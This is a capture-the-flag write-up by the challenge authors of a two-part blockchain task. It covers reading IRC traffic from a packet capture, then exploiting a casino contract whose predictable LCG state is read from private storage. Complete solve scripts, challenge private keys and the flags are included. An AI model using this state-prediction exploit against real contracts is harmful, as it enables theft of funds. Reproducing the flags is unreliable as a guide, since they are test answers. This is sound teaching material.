~/

PwnMe CTF quals 2025 - Mafia at the End of the Block Full [Blockchain/Misc]

Mafia at the End of the Block part 1 & 2 from PwnMe CTF 2025

Part 1

Difficulty : Easy

Source files

Description : You’re an agent, your unit recently intercepted a mob discussion about an event that’s going to take place on August 8, 2024. You already know the location, though. A password for the event was mentioned. Your job is to find it and return it so that an agent can go to the scene and collect evidence.

Author : wepfen & tzer

TL;DR

  • Read the PCAP file with wireshark and notice the IRC protocol
  • Find a link in the conversation and also contract addresses
  • From now you can search for the contract on etherscan or open the link, get the abi and interact with the smart contract to get the flag.

Introduction

So for the first part of the challenge, we have a network capture in attachment and that’s all. We are supposed to retrieve essential informations as an URL and a smart contract address. Then retrieve the “password” on the smart contract.

Solving

Retrieve informations from the PCAP

First, I ended up messing up my network capture and it ended up having to much packet than it was supposed to be. Anyway, looking in statistics -> protocol hierarchy, we find that there is one interesting protocol which is Internet Relay Chat (or IRC)

we can filter with “irc” and read the conversation by right clicking -> follow -> TCP

IRC conversation

We can get two informations from this :

If we continue to read the other IRC conversation, we get another contract which is wrong :

For this last contract address I just forgot to remove it so my bad.

Read the flag on Sepolia (was not the intended solution but game is game)

We can search for the contract address on etherscan

Inspecting the first transaction, we can directly read the input data as UTF-8 and get the flag. PWNME{1ls_0nt_t0vt_Sh4ke_dz8a4q6}

The flag is readable here because, while setting up the contract for the challenge, we sent a transaction to the function set_secret(string) and put the flag as argument. So it’s readable in plaintext on the blockchain.

Open the conversation and get the ABI of the contract and the flag

From the shortlink https://shorturl.at/2O8nI, we get redirected to https://www.swisstransfer.com/d/a4947af6-05c6-4011-958e-fd6b604587d1. It’s an archived telegram conversation.

We chose to archive it and not make it a live telegram group chat for the players who don’t want to join a telegram or create an account

We can open the html page from the archive and there is another conversation.

They are talking about the “ABI” and “interacting with the smart contract”. Also here’is the abi :

DarknetMafia.abi
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[
	{
		"inputs": [
			{
				"internalType": "string",
				"name": "_secret",
				"type": "string"
			}
		],
		"name": "set_secret",
		"outputs": [],
		"stateMutability": "nonpayable",
		"type": "function"
	},
	{
		"inputs": [],
		"stateMutability": "nonpayable",
		"type": "constructor"
	},
	{
		"inputs": [],
		"name": "ask_secret",
		"outputs": [
			{
				"internalType": "string",
				"name": "",
				"type": "string"
			}
		],
		"stateMutability": "view",
		"type": "function"
	}
]

The ABI(Application Binary Interface) is the representation of a contract in JSON. It defines the function, variables, visibility, parameter and all public informations we need to know how to interact with a contract. It gives a nicer representation of a smart contract and makes it easier to use with programming languages. More : https://docs.soliditylang.org/en/latest/abi-spec.html

On the ABI we learn about ask_secret function so we understand we just have to call it using cast from foundry :

cast call 0xCAB0b02864288a9cFbbd3d004570FEdE2faad8F8 -r https://gateway.tenderly.co/public/sepolia "ask_secret()(string)"

"PWNME{1ls_0nt_t0vt_Sh4ke_dz8a4q6}"

lil foundry advertising if you don’t mind

jehovah foundry-rs

Part 2

Difficulty : Medium

Source files

Description : You’re in the final step before catching them lacking. Prove yourself by winning at the casino and access the VIP room ! But remember, the house always win.

Author : wepfen & tzer

Tl;DR

  • The player can try to spin the wheel for 0.1 ether but will end up to lose everytime
  • By reading the smart contract one can understand that the random number generator is predictable
  • So we have to read the contract storage, recover the state, and compute the next state. Spin the wheel with the correct value and get the flag in the vip.html page.

Introdcution

We can deploy a private blockchain which will give us an URL for the whell which is the same for the RPC, a private key and the address of the smart contract running the wheel. Players must predict the spin next values to solve solve the challenge.

The wheel interact with the CasinoPWNME smart contract by call the function playCasino() with “0” in argument. Which is doomed to always lose.

Solving

Walking through the webpage

Looking through the website of the wheel we can see that we can spin the wheel for 0.1 ether and also connect a wallet.

royal casino

Trying to spin the wheel will ask us to connect to MetaMask but we don’t need to “really” spin the wheel to solve so we will not cover this part of MetaMask tomfoolery. Also, it’s here as a rabbit hole to waste the time of players 😈.

Reading the source code of the page we can retrieve informations such as the contract address, the ABI and the rpc. There is even the code that send the transaction to spin the wheel :

1
2
3
4
5
 const tx = await contract.methods.playCasino(0).send({ // You're choosing to spin 0 everytime ? That's nice from you <3
    from: sender,
    value: web3.utils.toWei("0.1", "ether"),
    gas: 300000,
});

Meaning that we can only lose by spinning on the web interface.

The smart contracts

We have got two solidity files : Setup.sol and Casino.sol.

Setup.sol is only to deploy the casino smart contract :

Setup.sol
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import {CasinoPWNME} from "./Casino.sol";

contract Setup {

    CasinoPWNME public casino;

    constructor() {
        casino = new CasinoPWNME();
    }

    function isSolved() public view returns (bool) {
        return casino.checkWin();
    }
    
}

And Casino.sol holds the interesting part.

Casino.sol
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CasinoPWNME {

  bool public isWinner;

	uint256 public multiplier = 14130161972673258133;
	uint256 public increment = 11367173177704995300;
	uint256 public modulus = 4701930664760306055;
  uint private state;

  constructor (){
    state = block.prevrandao % modulus;
  }

  function checkWin() public view returns (bool) {
    return isWinner;
  }

  function playCasino(uint number) public payable  {

    require(msg.value >= 0.1 ether, "My brother in christ, it's pay to lose not free to play !");
    PRNG();
    if (number == state){
      isWinner = true;
    } else {
      isWinner = false;
    }
  }
  
  function PRNG() private{
    state = (multiplier * state + increment) % modulus;
  }

}

Remebering the javascript code where playCasino() is called. Reading the function in the contract, inside this function a random number is generated by calling PRNG() :

1
2
3
  function PRNG() private{
    state = (multiplier * state + increment) % modulus;
  }

It computes a number using a LCG with known parameters (multiplier, increment and modulus are public) :

uint256 public multiplier = 14130161972673258133;
uint256 public increment = 11367173177704995300;
uint256 public modulus = 4701930664760306055;

Finally if the number passed to playCasino is equal to the computed state, the gambler win and isWinner is set to true.

So we understand we need to predict the next state.

Exploit

As we already know the LCG parameter, we need to get the state so we can compute the next one. Luckily, even if a variable in a smart contract is private, we can recover it by reading the sotrage directly.

With foundry we can display the storage of a contract and then request the values :

1
2
3
4
5
6
7
8
9
forge inspect contracts/Casino.sol:CasinoPWNME storage --pretty

| Name       | Type    | Slot | Offset | Bytes | Contract                         |
|------------|---------|------|--------|-------|----------------------------------|
| isWinner   | bool    | 0    | 0      | 1     | contracts/Casino.sol:CasinoPWNME |
| multiplier | uint256 | 1    | 0      | 32    | contracts/Casino.sol:CasinoPWNME |
| increment  | uint256 | 2    | 0      | 32    | contracts/Casino.sol:CasinoPWNME |
| modulus    | uint256 | 3    | 0      | 32    | contracts/Casino.sol:CasinoPWNME |
| state      | uint256 | 4    | 0      | 32    | contracts/Casino.sol:CasinoPWNME |

Then we can recover the state : cast to-base $(cast storage $TARGET -r $RPC "4") dec

Compute the next state : (state * multiplier + increment) % modulus

And play the casino with the correct value : cast send $TARGET -r $RPC "playCasino(uint)" <state> --private-key $PRIVATE_KEY --value 0.1ether

We can check if we won by calling the isSolved() function from the Setup contract : cast call -r $RPC $SETUP_ADDRESS "isSolved()(bool)" which is supposed to return true.

Then we can go to http://127.0.0.1:10019/88ce96d2-8f9e-4b07-a1b6-19a3f36ab18e/vip.html to get the flag :

PWNME{th3_H0us3_41way5_w1n_bu7_sh0uld_be_4fr41d_0f_7h3_ul7im4te_g4m8l3r!}.

Here’s a python script to solve the challenge :

solve.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pathlib import Path
from web3 import Web3

import requests
import re
import json

#### replace the values

UUID="38817e56-b243-4214-bb18-74eb8b7ec553"
Casino="http://127.0.0.1:10019/38817e56-b243-4214-bb18-74eb8b7ec553/"
RPC="http://127.0.0.1:10019/38817e56-b243-4214-bb18-74eb8b7ec553"
PRIVATE_KEY="0x649c553e358feda256109088de2a787bc4364b61a2fdbd33a88cba7ca66cd06a"
PLAYER="0x304815C4693eDdE61C6dD6Ad3F5f1Bb36651D8Fc"
SETUP="0x5FC41a49B84084b4499F7838Bbbc912E1862153E"
TARGET="0x9D862f4C58875fd69Ce94eFe1A978251DCa81DeE"


# get the abi with `forge inspect Casino.sol:CasinoPWNME abi`

casino_abi = json.loads(Path("./casino_abi.json").read_text())
setup_abi = json.loads(Path("./setup_abi.json").read_text())


web3 = Web3(Web3.HTTPProvider(RPC))
if not web3.is_connected():
    print("Erreur de connexion à Ethereum")
    exit()

setup_contract = web3.eth.contract(address=SETUP, abi=setup_abi)
casino_address = TARGET
casino_contract = web3.eth.contract(address=casino_address, abi=casino_abi)

# get parmaeters
multiplier = int.from_bytes(web3.eth.get_storage_at(casino_address, 1))
increment = int.from_bytes(web3.eth.get_storage_at(casino_address, 2))
modulus = int.from_bytes(web3.eth.get_storage_at(casino_address, 3))
state = int.from_bytes(web3.eth.get_storage_at(casino_address, 4))

# compute next state

next_state = (multiplier * state + increment ) % modulus

# play casino
transaction = casino_contract.functions.playCasino(next_state).build_transaction({
    'from': PLAYER,
    'gas': 300000,  # Set gas limit (adjust if needed),
    'nonce': web3.eth.get_transaction_count(PLAYER),
    'value': web3.to_wei(0.1, 'ether')
})

signed_transaction = web3.eth.account.sign_transaction(transaction, PRIVATE_KEY)

# Send the transaction
tx_hash = web3.eth.send_raw_transaction(signed_transaction.raw_transaction)

flag = requests.get(f"{Casino}/vip.html")

print(re.findall(r"PWNME{.*}", flag.text))

FLAG : PWNME{th3_H0us3_41way5_w1n_bu7_sh0uld_be_4fr41d_0f_7h3_ul7im4te_g4m8l3r!}

Other solves

There were other way to script it like this one from nikost i didn’t know. You can interact directly with the RPC by sending formatted json data which is less painful I think:

solve_nikost.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests

RPC = 'https://mafia2.phreaks.fr/be7d1112-0301-4763-b528-8f73c278ab04'
CASINO_CONTRACT = '0x9b4262e5575E07845e31479828F4470c38fA0C0d'

multiplier = 14130161972673258133
increment = 11367173177704995300
modulus = 4701930664760306055

# Retrieve contract internal public values, for reference
r = requests.post(RPC, headers={'Content-Type': 'application/json'}, json={"method":"eth_getStorageAt","params":[CASINO_CONTRACT, hex(1), "latest"],"id":1,"jsonrpc":"2.0"})
assert int(r.json()['result'], 16) == multiplier
r = requests.post(RPC, headers={'Content-Type': 'application/json'}, json={"method":"eth_getStorageAt","params":[CASINO_CONTRACT, hex(2), "latest"],"id":1,"jsonrpc":"2.0"})
assert int(r.json()['result'], 16) == increment
r = requests.post(RPC, headers={'Content-Type': 'application/json'}, json={"method":"eth_getStorageAt","params":[CASINO_CONTRACT, hex(3), "latest"],"id":1,"jsonrpc":"2.0"})
assert int(r.json()['result'], 16) == modulus

# Retrieve the contract internal state, even if it is private
r = requests.post(RPC, headers={'Content-Type': 'application/json'}, json={"method":"eth_getStorageAt","params":[CASINO_CONTRACT, hex(4), "latest"],"id":1,"jsonrpc":"2.0"})
state = int(r.json()['result'], 16)

# Predict the next state
next_state = (multiplier * state + increment) % modulus
print(next_state)

Or even from 22sh to put the shell commands in a bash script :

solve-22sh.bash
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
CASINO_ADDRESS="0xa13cf13ab19c0D418481360bE2667A8574435019"
PRIVATE_KEY="0xa1a036976751622cc1a4037cf81c70bd5bf1c7d00b970679999cc8eb5819a395"
RPC_URL="https://mafia2.phreaks.fr/40ad4c81-b2a2-46c2-9c94-8da278f3ed5d"
MULTIPLIER="14130161972673258133"
INCREMENT="11367173177704995300"
MODULUS="4701930664760306055"

# Step 1: Read the current state from storage slot 4
CURRENT_STATE=$(cast storage --rpc-url $RPC_URL $CASINO_ADDRESS 4)
echo "Current state (hex): $CURRENT_STATE"

CURRENT_STATE_DEC=$(cast --to-dec $CURRENT_STATE)
echo "Current state (dec): $CURRENT_STATE_DEC"

# Step 2: Calculate the next state
NEXT_STATE=$(python3 -c "print(($MULTIPLIER * $CURRENT_STATE_DEC + $INCREMENT) % $MODULUS)")
echo "Predicted next state: $NEXT_STATE"
NEXT_STATE_HEX=$(python3 -c "print(hex($NEXT_STATE))")
echo "Next state (hex): $NEXT_STATE_HEX"

# Step 3: Send the transaction to playCasino with the predicted state
TX_HASH=$(cast send --rpc-url $RPC_URL --private-key $PRIVATE_KEY $CASINO_ADDRESS "playCasino(uint256)" $NEXT_STATE --value 0.1ether)
echo "Transaction sent: $TX_HASH"
IS_WINNER=$(cast call --rpc-url $RPC_URL $CASINO_ADDRESS "checkWin()(bool)")
echo "$IS_WINNER"

Other writeups